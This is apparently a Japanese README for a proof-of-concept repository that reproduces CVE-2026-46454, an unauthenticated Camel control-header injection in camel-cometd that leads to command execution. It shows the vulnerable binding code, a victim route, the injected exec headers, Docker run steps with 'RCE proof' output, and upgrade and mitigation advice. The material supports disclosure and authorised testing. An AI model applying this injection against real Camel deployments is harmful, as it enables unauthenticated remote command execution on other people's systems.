
CVE-2026-46454 の再現ツール — Apache Camel camel-cometd のインバウンド Bayeux ヘッダーインジェクション(未認証の Camel コントロールヘッダーインジェクション → ダウンストリームプロデューサーの操作 / RCE)
このプロジェクトは、Apache Camel の camel-cometd コンポーネントにおけるメッセージヘッダーインジェクションを実証するもので、CVE-2026-46454 として追跡されています。このコンポーネントは、インバウンドの Bayeux (CometD) メッセージヘッダーを HeaderFilterStrategy なしで Camel Exchange にマッピングします。CometdBinding.createCamelMessage は、CometD クライアントが提供した ext.CamelHeaders マップ全体をそのまま Camel メッセージにコピーします (message.setHeaders(...))。そのため、CamelHttpUri、CamelFileName、CamelJmsDestinationName (または、ここでの camel-exec 制御ヘッダー) などの Camel 内部制御ヘッダーを含む、あらゆるヘッダー名が変更されずに受け入れられます。CometdComponent はデフォルトでは Bayeux SecurityPolicy をインストールしないため、Bayeux ハンドシェイクを完了できるクライアントは誰でも、認証なしでそのようなメッセージをパブリッシュし、ルート内の下流プロデューサーを操作できます。
アドバイザリ: https://camel.apache.org/security/CVE-2026-46454.html
CVE-2025-27636、CVE-2025-29891、CVE-2025-30177、CVE-2026-40453、CVE-2026-47323 と同じヘッダーインジェクション系統 —
Camel名前空間をフィルタリングせずにインバウンドヘッダーを Exchange にマッピングするコンポーネント群。
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
クライアントは ext.CamelHeaders を制御できるため、Exchange 上に任意の Camel 制御ヘッダーを設定できます。修正 (4.14.8 / 4.18.3 / 4.21.0) では HeaderFilterStrategy (コード内で長年 TODO となっていた項目) が実装され、インバウンドマッピング時に Camel* / camel* 名前空間を大文字小文字を区別せずにフィルタリングします。
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
攻撃者は ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" } を付けて /service/inject にパブリッシュします。バインディングはそれらを Exchange にマッピングし、exec プロデューサーは攻撃者のコマンドを代わりに実行します。
自己完結型です: camel-cometd コンシューマーはアプリ内で組み込みの Bayeux サーバー (ポート 8088) を実行し、/exploit/attack エンドポイントが認証なしの CometD クライアントとして動作します。
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
# The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
動作が Camel ヘッダーによって制御される下流のプロデューサーにデータを供給する、camel-cometd コンシューマーを持つ任意のルートが対象です — HTTP プロデューサー (CamelHttpUri)、ファイルプロデューサー (CamelFileName)、JMS プロデューサー (CamelJmsDestinationName)、exec プロデューサー (CamelExecCommand*) など。Bayeux エンドポイントに対してハンドシェイクできるクライアントは誰でもそれらを注入できます。デフォルトでは認証は不要です。注入されたヘッダーは、内部の direct、seda、vm ホップを越えて保持されます。
CometdComponent に Bayeux SecurityPolicy がないこと (デフォルト) — そのため、どのクライアントでもパブリッシュできます。4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507) にアップグレードしてください。この修正は cometd バインディングに HeaderFilterStrategy を追加し、インバウンドマッピング時にクライアントが指定した Camel* / camel* ヘッダーをブロックします。
アップグレードするまでの間:
.removeHeaders("Camel*") と .removeHeaders("camel*")。CometdComponent に明示的な Bayeux SecurityPolicy をインストールし、認証済みクライアントのみがパブリッシュできるようにする。この再現ツールは、公開済みで修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用として提供されます。明示的な許可なくシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-cometd |
| 影響を受けるクラス | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: 不適切な入力検証 |
| 影響 | 認証なしでの Camel 制御ヘッダーの注入 → 下流プロデューサーの操作 (ここでは exec による RCE) |
| 影響を受けるバージョン | 4.0.0 以降 4.14.8 未満、4.15.0 以降 4.18.3 未満、4.19.0 以降 4.21.0 未満 |
| 修正済みバージョン | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23507 |
| 報告者 | Yu Bao (PayPal) |